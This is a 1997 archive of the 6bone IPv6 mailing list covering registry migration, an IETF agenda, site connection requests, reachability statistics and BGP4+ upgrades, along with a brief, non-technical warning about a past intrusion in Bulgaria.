pouffary@taec.enet.dec.com
DIGITAL Equipment Corporation                      +33 (0)4.9295.6285
Centre Technique Europe, Sophia Antipolis France

From majordom@ISI.EDU  Thu Jul 17 15:04:08 1997
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Date: Thu, 17 Jul 1997 14:04:08 +0100
To: 6bone@isi.edu
From: Ben Crosby <bc@ecs.soton.ac.uk>
Subject: Sites that are running statistics...
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Hi people,

	This is just a request for some answers to a few things.
We're now officially using the RIPE style registry, so should the FTP
records also be updated when we update our RIPE style entry?

If the answer is no, and I hope it is =), then please, please could I urge those of you who are running any kind of statistics monitoring, e.g. ping, to update your scripts to use the RIPE style database.

My site record was recently updated, yet the old IP addresses are still being bombarded with ICMP echo-requests.... =/

Thanks,

	Ben.


From majordom@ISI.EDU  Thu Jul 17 02:30:00 1997
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To: Ben Crosby <bc@ecs.soton.ac.uk>, 6bone@isi.edu
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Sites that are running statistics...
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Ben,

At 6:04 AM -0700 7/17/97, Ben Crosby wrote:
>Hi people,
>
>	This is just a request for some answers to a few things.
>We're now officially using the RIPE style registry, so should the FTP
>records also be updated when we update our RIPE style entry?
>
>If the answer is no, and I hope it is =), then please, please could I urge
>those of you who are running any kind of statistics monitoring, e.g. ping,
>to update your scripts to use the RIPE style database.
>
>My site record was recently updated, yet the old IP addresses are still
>being bombarded with ICMP echo-requests.... =/


Thanks for bringing this up.  I will soon announce that we will remove the
old ftp-based directory entirely so we can avoid this problem (hoping, of
course, that folk convert their stuff as you request).


Sooo...everyone should only be using the new ripe-based registry.


Thanks,

Bob



From majordom@ISI.EDU  Fri Jul 18 03:30:30 1997
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Date: Fri, 18 Jul 1997 10:30:30 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone Agenda for Munich - draft version of 18Jul97
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Gentle 6bone folk,

The following is my first draft of an agenda for the ngtrans 6bone session.
Please comment, to the mailer, to make adds, changes and deletions,
especially re the action items and items I need suggestions for.

I'm sure I'm missing many items we should be talking about, so please let
me know :-)


Remember that the 6bone activity is now part of ngtrans, so you have to
take care to attend the right ngtrans meeting.

The ngtrans meetings are now scheduled as follows:

>This is to confirm three 1-hour session for NGTRANS as follows:
>
>        Tuesday, August 12 at 1415-1515 (opposite isn, bmwg, pppext, idmr
>        Tuesday, August 12 at 1545-1800 (opposite grip, run, tn3270e, poisson
>                ftpect, mobileip, mmusic)
>
>Combining the 1545-1645 and 1700-1800 sessions counts as one normal session.

The first session is the old transition tools meeting, the combined 1545
session is for the 6bone.


Thanks,

Bob


================================================================================
ngtrans-6bone Agenda - Munich IETF
Tuesday, August 12, 1545-1800 (with a cookie break at 1645 :-)


1. Introduction and agenda bashing - Bob Fink

2. Status of Action Items from Memphis

2.1. CAIRN Backbone Proposal - Allison Mankin
    (Allison should give an update on her proposal/plans)

2. 2. RFC1987 changes to use virtual IPv6 provider ID - Hsin Fang
    (are we abandoning or closing this - Hsin?)

2.3. Aggregation-Based Addressing Structure for 6bone - Bob Fink
    (will result in the overview Bob Fink will do shown below)

2.4. I-D "Representing IPv6 Tunnels in RPSL" - David Meyer
    (maybe this is closed - Dave?)

2.5. New 6BONE registry - David Kessens
    (David should give a report on this)

2.6. DNS for localized 6bone routing registry information - Bill Manning
    (maybe this is closed - Bill?)

2.7. Volunteers for I-D on requirements for new 6bone infrastructure - Bob Fink
    (Bob will give status)

2.8. Survey of host and router implementations on 6bone - Bob Fink
    (no progress, let's discuss what's appropriate to do - Bob Fink)


3. Backbone/Transit Planning

3.1.  connectivity among backbone sites

3.2.  policies for becoming a backbone site

3.3.  6bone connectivity planning in the UK

3.4.  other??


4. ip6.int versus icmp-based address lookup

4.1.  do we continue with ip6.int or rely on the new icmp mechanism?
(not promoting here, just wanting to have our direction clear - Bob)

4.2.  other??


5. Test Addressing Plan

5.1.  Overview - Bob Fink

5.2.  Assigning test addresses - XXXX

5.3.  Making the conversion on the 6bone - XXXX

5.4.  other??


6. Testing site renumbering - need suggestions , if any


7. Applications - need suggestions , if any


8. New implementations - need suggestions , if any


9. New tools - need suggestions, if any



-end



From majordom@ISI.EDU  Fri Jul 18 05:23:05 1997
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From: davidk@isi.edu
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Subject: Re: 6bone site list?
To: Dransfield@mail.dec.com (Mike Dransfield)
Date: Fri, 18 Jul 1997 12:23:05 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <c=US%a=_%p=Digital%l=SNOEXC2-970718070209Z-5269@snopf1.dhcp.sno.dec.com> from "Mike Dransfield" at Jul 18, 97 05:02:09 pm
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[ CC'ed to the 6bone list since the message might be of general interest ]

Hi Mike,

Mike Dransfield writes:
> 
> Is there a way to get a list of all the 6bone sites?
> I couldn't find a way using the whois interface to get one.

There is no support for this in the whois server for scalability reasons.

However, every day a full dump of all the data in the registry is made
available which you can use for this purpose. The dump is available from:

ftp://whois.6bone.net/6bone/6bone.db.gz

I hope this helps,

David K.
---

From majordom@ISI.EDU  Tue Jul 22 05:38:41 1997
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From: Scott Mace <emace@bcm.tmc.edu>
Message-Id: <199707221538.KAA12061@bandicoot.ssctr.bcm.tmc.edu>
Subject: connection to 6bone
To: 6bone@isi.edu
Date: Tue, 22 Jul 1997 10:38:41 -0500 (CDT)
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I am an engineer at Baylor College of Medicine.  We are interested
in connecting to the 6bone.  We have a handful of sparcstations here
running the Solaris ipv6 code.

	Thanks,
	Scott

From majordom@ISI.EDU  Tue Jul 22 02:24:30 1997
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Date: Tue, 22 Jul 1997 09:24:30 -0700
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From: Bob Fink <RLFink@lbl.gov>
Subject: various 6bone web page changes
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I have finally caught up with additions to the "other v6 sites", "tools"
and "stats" web pages.

Please let me know if you have more.


Thanks,

Bob



From majordom@ISI.EDU  Wed Jul 23 13:39:27 1997
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Organization: US Peace Corps, Plovdiv
From: zvezdi@plovdiv.uspc.bg (Zvezdelin Vladov)
Date: Wed, 23 Jul 97 10:39:27 +0300
Subject: HI!
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Hello again from Bulgaria (southeastern Europe).
I don't know if it is appropriate to write these things here, but if it is not,
I beg you pardon me. You need about 5 minutes to read this.
In few words, I'll try to explain two things:

1. Physical Structure of the Connections in Bulgaria
2. Logical Structure of the Internet Connections in Bulgaria.
3. Question - How can I get connected to 6BONE?

1. Physical Structure.
Bulgarian Telecommunication Company (BTC) has the following structure deployed
in the country, with the money from European Union. SDH/PDH as part of the
SONET specification running at 155 Mb/s. The country is devied into 2 main
regions -- eastern optical ring and western optical ring. The rings are from
different vendors -- as far as I know - Alcatel and Northern Telecom. They
are linked in two points thru getting down the 155 Mb/s in Nx2Mb/s links in
two cities in the country. The BTC says that they already use the SDH for
intracity phonecalls. The PDH is in the capital city (Sofia). There are
firms which are deploying xDSL technologies in the capital and other cities.
Internet has never been carried into this structure, because of small market
for Internet services, and for problems from BTC. The BTC until recently could
only give you 2Mb/s as the smallest link capacity throughout the country via
the SDH. Until now, because it bought multyplexers for 2Mb/s=Nx64Kb/s.
Still it is expensive, but if you want to have connection from some city to the
capital, for example, in terms of capacity the only choice you would have
is to do it the hard way -- which means you lease lines, as many as you need,
but the only speed you could get per link, as maximum, is 28.8 Kb/s,
thru analog connection from one city to the capital. Now are available, the
digital links, but many people think that they are expensive. Also, thru the
tactical move, called "try & buy" principle, IBM-Bulgaria has been able to
install ATM testbed in one area of the capital city, though, for good or bad,
officals from BTC say, that "why should we buy ATM, as we already have SDH
deployed". We have offices of the major telecomunication companies --- AT&T,
MCI, Northern Telecom. BTC these days said that it is going to buy 2Mb/s
channel to the Internet from IBM, which is going to strike very hard the local
ISPs which buy the way, sells at least 2,3,4 times the link capacity, and in
this way it is close to impossible to use Internet. To the customer is
presented the an offer of like this -- 60 USD inital tax for connecting and
after this 25 USD per month for 60 hours of time online without limit for the
data transfer, and the ISP have 33.6 Kb/s modems.

2. Logical Structure.
The very first of the ISPs which came out in the market is called
Digital Systems. This is one of the oldest one -- started operations about 1993.
It is connected to EUNET in Amsterdam. It is the one who is maintaining the
DNS database ( well, most of it ). Now, the company (its service) is unusable,
because of overselling its structure. So, speeds like 30/40 bytes per second
and even less are not unlikely to be seen. They don't have any customer service
until recently. Their address is www.digsys.bg, www.eunet.bg. As someone can
notice from its name, they could really dig you in the earth :)--DigSys:).
There are other ISPs, most of the linked to EU structure, but there are few
linked to US, as well, thru satellite dish and Global One and a little firm
which is distributor of Digital Expres Net -- digex.net, called Spectrum PCT
LTD--their web: www.spct.net (spct=spectrum Pct.net).

3. Question
I have connection to resseler of Spectrum PCT. How Can I switch to 6BONE?
You can assume that I have Linux BOX, and I have read most of the RFC dedicated
to IPv6 except IPSEC RFC. So, I can configure my Linux box, to tunnel IPv6
into IPv4 packets. I can talk with Spectrum to make them think on moving into
IPv6 area, if they haven't done this yet.

Thanks for reading, and I am sorry, If I took too much of your time.
Have a nice time.

Zvezdelin Vladov
--- 
/****************************************************************************
 * Zvezdelin Vladov, Assistant, United States Peace Corps - Bulgaria        *
 * Phones: 35932 226546; 35932 272009; fax: 35932 563382; City of Plovdiv   *
 ****************************************************************************/

From majordom@ISI.EDU  Wed Jul 23 14:13:28 1997
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Organization: US Peace Corps, Plovdiv
From: zvezdi@plovdiv.uspc.bg (Zvezdelin Vladov)
Date: Wed, 23 Jul 97 11:13:28 +0300
Subject: Additional Info on Bulgaria Connections!
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A qucik adding note to the previous description of Bulgaria's connections:

4. National Academic Network - domain name 'acad.bg'
There is national academic network run with the support of many organizations,
but right now it is a little bit slow. In the capital city, though, three
of the biggest universities are conneted into an FDDI optical ring(100Mb/s).
But for the other participiants from the country the links are no more than
the usual analog one - 28.8 Kb/s to Sofia(the capital city). This network
is mainly financed from TEMPUS --a European Union's project.

5. Public Data Networks -- Used mainly for hacking :( -- The last well know
case -- a famous virus writer has became a hacker and thru X.25's country wide
public data network and thru its connection to the outside world (the
capacity of this outside link is in Kb/s range) has been able to get into the
computers of one of the oldest state universities -- University of Sofia.
He calls himself dav -- Dark Avanger. So, check out your /etc/passwd or similar
file and if you find something like unknown user called 'dav' it is better to
pull out you internet cable for couple of hours. This guy went to US thru X.25
and from there manipulating DNS protocol, and thru a bug in Talk Demon goes into
your system into the root account. After this he creates user called dav.
Check this out -- He got into the computers of the University of Sofia at
the speed of 2400 b/s (2400 bits per second!) and has used some scripts to add
himself to the /etc/passwd file. He's used also 'vi' to add himself to the
/etc/passwd list. This thing happend about December 1996, and report has been
generated to CERT. Sorry if this is too much info for you.

Zvezdelin Vladov


--- 
/****************************************************************************
 * Zvezdelin Vladov, Assistant, United States Peace Corps - Bulgaria        *
 * Phones: 35932 226546; 35932 272009; fax: 35932 563382; City of Plovdiv   *
 ****************************************************************************/

From majordom@ISI.EDU  Wed Jul 23 04:29:39 1997
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Date: Wed, 23 Jul 1997 08:29:39 -0400 (EDT)
From: Robert Glenn <6bone@snad.ncsl.nist.gov>
Message-Id: <199707231229.IAA19582@snad.ncsl.nist.gov>
To: 6bone@isi.edu
Subject: Re: Sites that are running statistics...
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The stats page here at NIST is now using the new registry to gather
its data.  I have noticed (as others will if they take a look
at the page) that the "ping: ....." lines didn't carry to the
new registry with the switch over.  As a result, there are a large
percentage of sites in the registry with "No Pingable Addresses"
and will show up as such on the stats page until an "application: 
ping ...." entry is added to those particular entries.

(I apologize if you have already seen this message).

Rob G.
rob.glenn@nist.gov

6bone Reachability Status From NIST URL:  
http://www.antd.nist.gov/~ipng/NIST-6bone-status.html

From majordom@ISI.EDU  Wed Jul 23 18:47:45 1997
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Date: Wed, 23 Jul 1997 16:47:45 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
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Cc: "'RLFink@lbl.gov'" <RLFink@lbl.gov>
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Hi all,

I have updated the CSELT 6Bone statistics which are accessible at the
following URL:


http://carmen.stet.it/ipv6/stats/stats.html

These statistics are collected according to the 6Bone topology in order
to help the user to undestand the reason of a site unreachability (e.g.
the unreachability of a leaf site could be due to the unreachability of
its actual transit site or backbone site).

In addition to some pages showing the IPv6 and IPv4 packet loss and RTT
towards each known site, the new CSELT 6Bone statistics include a first
page providig a reachability overview table reflecting the 6Bone
topology: backbone sites in the first column, transit sites in the
second column and leaf sites in the following columns. Each row
represents a tree inside 6Bone rooted at a backbone site.

If you find this work interesting or if you have some suggestions or
comments please let me know.

       Bye

            Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------------


From majordom@ISI.EDU  Wed Jul 23 01:07:16 1997
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Date: Wed, 23 Jul 1997 08:07:16 -0700
To: zvezdi@plovdiv.uspc.bg (Zvezdelin Vladov)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: HI!
Cc: 6bone@isi.edu (6BONE Mailer)
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Zvezdelin,


At 12:39 AM -0700 7/23/97, Zvezdelin Vladov wrote:

...

>3. Question

>I have connection to resseler of Spectrum PCT. How Can I switch to
6BONE?

>You can assume that I have Linux BOX, and I have read most of the RFC
dedicated

>to IPv6 except IPSEC RFC. So, I can configure my Linux box, to tunnel
IPv6

>into IPv4 packets. I can talk with Spectrum to make them think on
moving into

>IPv6 area, if they haven't done this yet.


It would seem that your best bet is to tunnel to SURFNET/NL as they
have excellent connectivity in the Amsterdam area, and I see the route
my site (which uses ESnet) takes to reach you is through the eu.net
paths from the US thru Amsterdam and on to Sofia.


Your contact at SURFNET would be Erik-Jan Bos:


	Erik-Jan.Bos@surfnet.nl



Thanks for the interesting insight into telecomm/networking in
Bulgaria.


I hope to soon be able to add BG to the 6bone country list!



Regards,


Bob


=======================

<fontfamily><param>Monaco</param><color><param>0000,0000,FFFF</param><smaller><smaller>Find
route from: </smaller></smaller></color><smaller><smaller>128.3.9.22

<color><param>0000,0000,FFFF</param>             to:
</color>plovdiv.eunet.bg. (193.68.2.1), Max 30 hops, 40 byte packets

<color><param>0000,0000,FFFF</param>Host Names truncated to
</color>32<color><param>0000,0000,FFFF</param> bytes

</color> 1 ir30gw.lbl.gov.                  (128.3.9.1      ):     2ms 
      1ms        1ms   

 2 er1gw.lbl.gov.                   (131.243.128.11 ):     2ms       
1ms        1ms   

 3 lbl-lc1-1.es.net.                (198.128.16.11  ):     2ms       
2ms        1ms   

 4 cebaf-atms.es.net.               (134.55.24.7    ):    61ms      
60ms       60ms   

 5 dccon-cebaf-mae-e.es.net.        (134.55.24.166  ):    67ms      
67ms       66ms   

 6 vienna2.va.us.eu.net.            (192.41.177.120 ):    72ms      
70ms       70ms   

 7 pennsauken1.nj.us.eu.net.        (134.222.228.2  ):    72ms      
70ms       70ms   

 8 amsterdam2.nl.eu.net.            (134.222.228.121):   170ms     
160ms      191ms   

 9 amsterdam3.nl.eu.net.            (134.222.186.3  ):   197ms     
170ms      165ms   

10 sofia.bg.eu.net.                 (134.222.7.2    ):   783ms     
575ms     1030ms   

11<color><param>FFFF,0000,0000</param>     *     

</color>11 plovdiv.bg.eu.net.               (193.68.0.249   ):   840ms 
 <color><param>FFFF,0000,0000</param>     *     

</color>12 plovdiv.eunet.bg.                (193.68.2.1     ):   934ms 
 <color><param>FFFF,0000,0000</param>     *     </color>  1440ms   

<color><param>0000,0000,FFFF</param>* Trace completed 7/23/97  7:45:11
AM  *

</color></smaller></smaller></fontfamily>


From majordom@ISI.EDU  Wed Jul 23 18:55:12 1997
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	id AA04752; Wed, 23 Jul 1997 17:03:11 +0200
Message-Id: <33D61B50.F81@ebo.dec.com>
Date: Wed, 23 Jul 1997 16:55:12 +0200
From: Fred Fuchs <fuchs@ebo.dec.com>
Organization: Digital Equipment Corp.
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To: 6bone@isi.edu
Cc: Hans-Peter Durand <durand@ebo.dec.com>,
        rwatson@sutra.vbe.dec.D5NET.dec.com
Subject: SWISS Telecom joins the 6Bone
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Hi

The Swiss Telecom is now connected to the 6BONE.
The IPv4 Tunnel is connected to DIGITAL-ETC (Digital in Sophia).

Until now we have three Nodes running with IPv6.
1:) Digital Routabout Access (RIPng)
        5F02:2F00:C3B0:D700:B0D7:0800:2BB2:1D0F
2.) DIGITAL UNIX DECstation 3000-600
        5f02:2f00:c3b0:d700:b0d7::f851:9547
3.) DIGITAL UNIX Alphastation 2000
        5f02:2f00:c3b0:d700:b0d7:800:2b38:63c4

Those Systems should be up all the time.
I hope everything is correct, if not please let me know.

Regards 
Fred Fuchs

PS: This mail was send on behalf of Andre Prim of the Swiss Telecom R&D

The following information was entered on the FTP site.

ipv6-site:   SWISS-TELECOM
origin:      AS559
descr:       Swiss Telecom Research & Development
descr:       Ostermundigenstr. 93
descr:       3000 Bern 29
descr:       Switzerland    
country:     CH
prefix:      5F02:2F00:C3B0:D700::/64
application: ping gdvipv6.ctv6.vptt.ch
application: ping aldebaran6.ctv6.vptt.ch
application: ping deneb6.vptt.ch
tunnel:      IPv6 in IPv4 gdvipv6.ctv6.vptt.ch -> 
                        vboipv6rtr.europe.digital.com DIGITAL-ETC RIPv6
contact:     HP1-6BONE
contact:     AF1-6BONE
contact:     AP148-RIPE
remarks:     ipv6-site is operational since 09-Jul-1997
remarks:
remarks:     DIGITAL RouteAbout Access /IPv6 
                               
(5F02:2F00:C3B0:D700:B0D7:0800:2BB2:1D0F)
remarks:     running RtAbt Acces EW/IP IPv6 #159,SW=T2.0-5
remarks:     DIGITAL UNIX DECstation 3000-600
remarks:     Name is aldebaran6
remarks:     IPv6 address is 5f02:2f00:c3b0:d700:b0d7::f851:9547
remarks:     running Digital Unix V4.0B, IPv6 X6.0A
remarks:     DIGITAL UNIX Alphastation 2000 
remarks:     Name is deneb6
remarks:     IPv6 address is 5f02:2f00:c3b0:d700:b0d7:800:2b38:63c4
remarks:     running Digital Unix V4.0B, IPv6 X6.0A
remarks:
notify:      prim_a@vptt.ch
notify:      gisiger@vptt.ch
notify:      durand@ebo.dec.com
notify:      fuchs@ebo.dec.com
changed:     fuchs@ebo.dec.com 970709
source:      6BONE

From majordom@ISI.EDU  Wed Jul 23 01:35:03 1997
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Date: Wed, 23 Jul 1997 08:35:03 -0700
To: 6bone@isi.edu
From: Bob Fink <RLFink@lbl.gov>
Subject: Out with the old, In with the new !!  (registries that is)
Cc: Robert Glenn <6bone@snad.ncsl.nist.gov>, davidk@isi.edu (David Kessens)
Sender: owner-6bone@ISI.EDU
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Status: RO

Rob Glenn makes a good point.  All 6bone sites need to look at and clean up
their automatically converted 6bone registry records.

Also, all automatic process owners need to switch to the new registry as
the old one will go away soon (I hope...read on).

In fact, I propose that David Kessens arrange with RIPE-NCC staff to turn
off the old ftp-style registry one month from today, 24 August.

Does anyone see any problems doing that?


Thanks,

Bob

=============================================
At 5:29 AM -0700 7/23/97, Robert Glenn wrote:
>The stats page here at NIST is now using the new registry to gather
>its data.  I have noticed (as others will if they take a look
>at the page) that the "ping: ....." lines didn't carry to the
>new registry with the switch over.  As a result, there are a large
>percentage of sites in the registry with "No Pingable Addresses"
>and will show up as such on the stats page until an "application:
>ping ...." entry is added to those particular entries.
>
>(I apologize if you have already seen this message).
>
>Rob G.
>rob.glenn@nist.gov
>
>6bone Reachability Status From NIST URL:
>http://www.antd.nist.gov/~ipng/NIST-6bone-status.html




From majordom@ISI.EDU  Wed Jul 23 01:40:01 1997
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Date: Wed, 23 Jul 1997 08:40:01 -0700
To: Scott Mace <emace@bcm.tmc.edu>, 6bone@isi.edu
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: connection to 6bone
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Scott,

At 8:38 AM -0700 7/22/97, Scott Mace wrote:
>I am an engineer at Baylor College of Medicine.  We are interested
>in connecting to the 6bone.  We have a handful of sparcstations here
>running the Solaris ipv6 code.

Given Baylor's sesquinet connections I would suggest using CICNET for your
6bone tunnel endpoint.

You can talk to Dorian Kim at:

	dorian@cic.net


Thanks,

Bob




From majordom@ISI.EDU  Wed Jul 23 20:27:43 1997
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Date: Wed, 23 Jul 1997 18:27:43 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: New 6Bone stats from CSELT
To: "'6bone@isi.edu'" <6bone@isi.edu>
Message-Id: <E976E00A79ECD011B23000805FA6EA8E06F94C@xrr1.cselt.stet.it>
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Hi all,

In the previous e-mail I gave a wrong URL. The right one is:

    http://carmen.cselt.it/ipv6/stats/stats.html

I'm sorry for the mistake.

    Bye
           Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------------


From majordom@ISI.EDU  Wed Jul 23 13:01:04 1997
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From: tomw@netrex.com (Tom Wallace)
Message-Id: <199707232101.RAA11802@xerxes.netrex.com>
Subject: Hello
To: 6bone@isi.edu
Date: Wed, 23 Jul 1997 17:01:04 -0400 (EDT)
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 Hi, I'm relatively new to the list and was wondering if there was
a FAQ available describing software, connection points, advantages
of IPv6...

 Thanks,

 Tom Wallace
 tomw@netrex.com


From majordom@ISI.EDU  Wed Jul 23 09:21:55 1997
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Date: Wed, 23 Jul 1997 16:21:55 -0700
To: tomw@netrex.com (Tom Wallace)
From: Bob Hinden <hinden@Ipsilon.COM>
Subject: Re: Hello
Cc: 6bone@isi.edu
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Tom,

> Hi, I'm relatively new to the list and was wondering if there was
>a FAQ available describing software, connection points, advantages
>of IPv6...

Please see:

	http://playground.sun.com/ipng
	http://www.6bone.net/

Bob


From majordom@ISI.EDU  Thu Jul 24 12:48:22 1997
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           Thu, 24 Jul 1997 09:48:22 DST
To: 6bone@isi.edu
Message-Id: <AAsglrpCW4@plovdiv.uspc.bg>
Organization: US Peace Corps, Plovdiv
From: zvezdi@plovdiv.uspc.bg (Zvezdelin Vladov)
Date: Thu, 24 Jul 97 09:48:22 +0300
Subject: PLEASE, TAKE THIS INTO COUNT! TOO!
X-Mailer: BML [MS/DOS Beauty Mail v.1.31]
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Hey, guys, thank you for all the e-mails, but please
notice the following:

1. The Spectrum PCT is connected to the Internet via Satallite Dish,
directly to Digex.Net in US, so its addresses are part of the US
net. One of the resellers of Spectrum is Techno-Link -- check this out
www.techno-link.com -- it is in the top US domain. I know them well
(Spectrum) and I could talk with them.

2. BUT, STILL the official Bulgarian Domain is '.bg' which is mainly
maintained by Digital Systems -- www.digsys.bg, ns.digsys.bg,
ns.eunet.bg; Until recently, all of the records in its Name Server, were
available for listing, so I have all of their domain listed --
if someone is intrested, call. But the with them, is that United
States Peace Corps have account there, and this is actually, the place
I am at, right now, and I am using an old UUPC client, and it is at some
point terible. There Technical Chief is someone you JUST can't find by
phone. I'll do my Best to contact him, and make him think on switching
into 6bone, but still, it is difficult. Remember, that the speed thru
this provider (digsys-Digital System) is sometimes 20, 30, max 100 bytes
per second. Very rarely is about 1000 bytes, and the last is estimated
on 28.8 Kb/s line to them, when nobody is using it. Which means, the
have overselled their structure, too much.

3. The speed, with Spectrum PCT, is almost always more than 1.5 KBYTES
per second for 14.4 Kb/s line.

Regards to all of you, and have a nice time, outthere.
Zvezdelin Vladov

--- 
/****************************************************************************
 * Zvezdelin Vladov, Assistant, United States Peace Corps - Bulgaria        *
 * "Internet Show" - Host & Author, Sunday 9am-10am, Radio Plovdiv, FM 103.1*
 ****************************************************************************/

From majordom@ISI.EDU  Thu Jul 24 00:02:16 1997
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To: zvezdi@plovdiv.uspc.bg (Zvezdelin Vladov)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: THANKS FOR THE REPLY!!!! CHECK THIS OUT!
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Zvezdelin,

If you are thinking that participating in the 6bone will somehow solve your
Internet connectivity problems, it can't.  As you are building a tunnel
between IPv4 end points, you are going to have to use a path normally
available to you by your available IPv4 connectivity in Bulgaria.

You can best perform this search for a good 6bone connection point by doing
it yourself, as you can run traceroute from your own system.  Just try
traceroutes to various 6bone backbone sites and look at the route and
delays you get...then choose the one that looks best.


Bob

At 4:38 AM -0700 7/24/97, Zvezdelin Vladov wrote:
>And what is your opinion on DigEx.Net --
>Digital Express Net --- www.digex.net ?
>
>See, we have at least three major connecting sites
>
>with U.S.:
>1. Global One (204..... something ) net -- do ping www.bis.bg
>and look for word 'gocis'=Global One Computer Information Service or something
>like this. ( This is thru Sprint.si.net )
>
>2. Spectrum PCT net -- www.spct.net -- thru digex.net ( digital express net )
>
>with EUnet Amsterdam:
>1. Academical Connectivity -- www.amigo.bg, www.unicom.bg, www.bgcict.bg
>with the name server ns.acad.bg; It permits record list, so you can see
>the whole area; www.aubg.bg, www.aubg.edu -- American University in Bulgaria
>
>2. Bussiness Conectivity -- www.naturella.com -- to EUnet London, you may
>say that their speed is close to good.
>
>3. DigSys -- the diggers will almost dig you into the Earth, if you rely on
>them -- check this out - in 00:00 o'clock in the night, I am the only
>one and I am using a 28.8 Kb/s link to them, and with ftp, I can't get much
>than 1000-1200 bytes per second. And this is the best possible.
>They are official distributors of EUnet, and the pricing 3-4 times more
>compared
>the other ISP, connected to the same Area. www.digsys.bg
>
>These are everybody, I think, that operate in the area. Every other name of
>ISP, are probablly ISPs connected to these root ISPs.
>
>
>
>Don't you think, that there should be a way, thru Digex.Net, I mean thru
>this route, to connect to 6bone. Because it is much, much, much better.
>Thank you.
>
>Have a nice time.
>Zvezdelin Vladov
>---
>/****************************************************************************
> * Zvezdelin Vladov, Assistant, United States Peace Corps - Bulgaria        *
> * "Internet Show" - Host & Author, Sunday 9am-10am, Radio Plovdiv, FM 103.1*
> ****************************************************************************/




From majordom@ISI.EDU  Fri Jul 25 04:17:48 1997
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Date: Fri, 25 Jul 1997 11:17:48 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: 6bone@isi.edu
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Most sites will be upgrading it's routers Monday to a new BGP 4+ MP_NLRI
attribute format (the one defined in the latest draft rev - 03).

Cisco will upgrade it's router at aprox. 10 am PST (17h00 GMT).

  Pedro.

From majordom@ISI.EDU  Sat Jul 26 06:01:37 1997
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Hi,

I am looking for an entry point to the 6bone and would be very grateful for
any advice you could give me on who I might approach.
I am situated at kangwon uni. kangwondo, the Republic of Korea.

Many thanks

From majordom@ISI.EDU  Tue Jul 29 03:30:32 1997
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We're turning up some BGP4+ routing sessions, and some software
upgrades are in the works. We should have everything back on-line
by midnight PDT.

Thanks,
Stephen

From majordom@ISI.EDU  Tue Jul 29 04:43:09 1997
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Subject: some 6bone registry questions for the list
To: 6bone@ISI.EDU
Date: Tue, 29 Jul 1997 11:43:09 -0700 (PDT)
Cc: guyd@uk.uu.net
In-Reply-To: <Pine.GSO.3.95q.970729162232.378X-100000@swannee> from "Guy Davies" at Jul 29, 97 04:23:31 pm
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Hi,

I recently got a few remarks and wanted to know your opinion.

The current draft for the registry describes that domain names should be
used in the tunnel specification of the 'ipv6-site' objects. This has the
advantage that it is very easy to derive the IPv4 *and* IPv6 address
through DNS.

I have changed the syntax checking recently in such way that it doesn't
accept IPv4 numbers anymore but that it will help a bit by doing a
reverse lookup. However, if nothing is found, a error is generated.

Guy Davies told me that this might have gone a bit too far. Do you agree?
Should I change it to a warning only or leave it as is with the strong
syntax checking?

In another question, it was pointed out to me that RIPng was the better
protocol name instead of RIPv6. I plan to switch and convert to RIPng if
nobody objects. It will hardly have any consequences for most people
since I will alias RIPv6 to RIPng.

David K.
---

From majordom@ISI.EDU  Tue Jul 29 06:16:33 1997
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Subject: Re: some 6bone registry questions for the list
To: guyd@uk.uu.net (Guy Davies)
Date: Tue, 29 Jul 1997 13:16:33 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.3.95q.970729210348.3733A-100000@swannee> from "Guy Davies" at Jul 29, 97 09:10:22 pm
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Guy,

Guy Davies writes:
> 
> Maybe, David, you could reject entries with the IP address on the left
> hand side of the -> but warn for entries with the IP address on the right
> since the left hand side is the local side and totally under the control
> of the organisation submitting the object?  Perhaps that is just adding
> more complexity than is really necessary.

This sounds like a very reasonable solution to me. ir doesn't add much
more complexity. I will fix it this way except if there are any
objections by others,

David K.
---

From majordom@ISI.EDU  Tue Jul 29 13:27:33 1997
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From: Pedro Marques <roque@cisco.com>
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Subject: some 6bone registry questions for the list
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>>>>> "davidk" == davidk  <davidk@ISI.EDU> writes:

    davidk> Hi,

    davidk> I recently got a few remarks and wanted to know your
    davidk> opinion.

    davidk> The current draft for the registry describes that domain
    davidk> names should be used in the tunnel specification of the
    davidk> 'ipv6-site' objects. This has the advantage that it is
    davidk> very easy to derive the IPv4 *and* IPv6 address through
    davidk> DNS.

    davidk> I have changed the syntax checking recently in such way
    davidk> that it doesn't accept IPv4 numbers anymore but that it
    davidk> will help a bit by doing a reverse lookup. However, if
    davidk> nothing is found, a error is generated.

Please don't do that. I don't think there is any reason why you should
require tunnel end-points to have a DNS address. Remember tunnel end-points
are supposed to be routers... routers don't always DNS records for all of
it's addresses and even if they do, most of the times the IP address is
much more significant as it is unique while the name may point at several
addresses.

    davidk> Guy Davies told me that this might have gone a bit too
    davidk> far. Do you agree?  Should I change it to a warning only
    davidk> or leave it as is with the strong syntax checking?

I personally think you should just accept IP addresses... they are just
much more reliable and meaningful to debug network problems.

    davidk> In another question, it was pointed out to me that RIPng
    davidk> was the better protocol name instead of RIPv6.

Yap... RIPng is RIPv2 with support for IPv6 addresses if i'm not mistaken.
So the name RIPv6 is, IMHO, misleading.

  Pedro.



From majordom@ISI.EDU  Wed Jul 30 04:47:03 1997
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new 6bone backbone links diagram - version 24

http://www.6bone.net/6bone-bblinks.html

	Change RIPng links to BGP4+ from DIGITAL-CA/US to CISCO/US and UUNET/UK


This is great.  BGP4+ interoperability between CISCO and DIGITAL!


Bob


PS:  Minor 6bone diagram edits (version 80)



From majordom@ISI.EDU  Wed Jul 30 07:02:24 1997
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Date: Wed, 30 Jul 1997 14:02:24 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
